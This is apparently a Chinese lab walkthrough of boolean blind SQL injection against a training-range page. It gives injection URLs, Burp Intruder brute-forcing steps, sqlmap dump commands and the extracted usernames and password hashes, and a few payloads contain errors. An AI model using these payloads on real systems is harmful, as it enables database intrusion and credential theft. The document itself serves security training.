SQL注入漏洞测试(布尔盲注)
第一步判断注入点:
在url中输入单引号发现报错,再输入and1=1页面正常,and1=2报错
说明此url存在着SQL注入漏洞
http://219.153.49.228:48551/new_list.php?id=1 and 1=2
第二步判断字段数
利用order by 语句,值为4页面正常,5报错,说明有四个字段
http://219.153.49.228:48551/new_list.php?id=1 order by 4
第三步:猜解数据库的长度以及数据库名称
正常我们在找到字段数之后会进行union的联合注入来判断回显点,根据回显点查找相应的数据
但是此题当我们输入union select 1,2,3,4语句时页面不会发生任何变化,因此没法利用回显点进行注入攻击
利用布尔的盲注进行攻击,类似于问数据库问题,你回答是或者否,根据你回答的信息进行信息的收集
比如猜解数据库的长度是否是10,此时页面返回正常,输入11返回错误,由此可见该数据库的长度是10
http://219.153.49.228:48551/new_list.php?id=1 and length(database())=10
下面介绍几个函数
(1)substring函数
substring(mozhexueyuan,1,3)
运行结果是moz
即从第一位开始截取字符串,一共截取三位
我们可以利用该函数的特性爆破出数据库的名称
(2)MID函数用于从返回结果中提取字符
select MID(mozhe,1,5);
运行结果就是mozhe,表示从字符串1开始提取,一共提取5位
(3)ORD函数用于返回第一个字符串的Ascii值
select ORD('m')
运行结果是字符m对应的ascii码 为109
介绍完这三个函数我们接下来可以利用Burp的爆破功能,爆破出数据库
打开burp进行抓包,发送到Intruder模块进行爆破
http://219.153.49.228:48551/new_list.php?id=1 and substring(database(),1,1)='b'
这里我们猜解数据库的第一个字符串为b
设置变量
设置Payloads(a-z,A-Z),并开始攻击,查看攻击结果
最终通过爆破出数据库为:stormgroup
第四步:根据数据库爆表
任然利用mid和ord函数进行猜解
猜解数据库表的个数为2
http://219.153.49.228:48551/new_list.php?id=1 and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2
猜解第一个表的长度为6
http://219.153.49.228:48551/new_list.php?id=1 and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=d atabase() limit 0,1)= 6
继续猜解第一张表的第一个字母(第一张表为member)
可利用burp进行拦截数据包进行爆破,其中Payloads是字母所对应的ASCII码(0-127)
猜解第二个第三个字母只需把1,1改为2,1 3,1即可这里不做演示
猜解第二张表也和第一张表内容一样,修改对应函数的参数即可,这里也不做演示。
```c
http://219.153.49.228:48551/new_list.php?id=1 and ord( mid( ( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 ),1,1 ) )=109
猜解member表的字段数为3,其中表名要改写成16进制0x6d656d626572
http://219.153.49.228:42124/new_list.php?id=1 and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 ) = 3
猜解第一张表字段的个数是4
http://219.153.49.228:42124/new_list.php?id=1 and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 0,1 ) = 4
猜解第一张表的第一个字段盲猜一波为name
http://219.153.49.228:42124/new_list.php?id=1 and ord( mid( ( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 0,1 ),0,1 ) ) ='name'
猜解第二个字段的个数为8:
http://219.153.49.228:42124/new_list.php?id=1 and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 1,1 ) = 8
猜解第二个字段盲猜一波为password
http://219.153.49.228:42124/new_list.php?id=1 and (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 1,1)='password'
猜解name字段下的内容为mozhe
http://219.153.49.228:42124/new_list.php?id=1 and ord (mid(( Select concat(name) from member limit 0,1 ) ,1,1))=109
最后利用sqlmap进行SQL注入探测
爆破数据库(stormgroup)
sqlmap.py -u "http://219.153.49.228:43990/new_list.php?id=1" --dbs --batch
爆破指定数据库的表(member和notice(没用))
sqlmap.py -u "http://219.153.49.228:43990/new_list.php?id=1" -D stormgroup --tables --batch
爆破指定表的字段(name,password和status)
sqlmap.py -u "http://219.153.49.228:43990/new_list.php?id=1" -D stormgroup -T member --columns --batch
爆破用户名和密码
sqlmap.py -u "http://219.153.49.228:43990/new_list.php?id=1" -D stormgroup -T member -C name,password --dump --batch
爆出两个账号进行解密后登陆后台即可。
mozhe
3114b433dece9180717f2b7de56b28a3
mozhe
d7a47bcd61c1c78ce3218c6149574104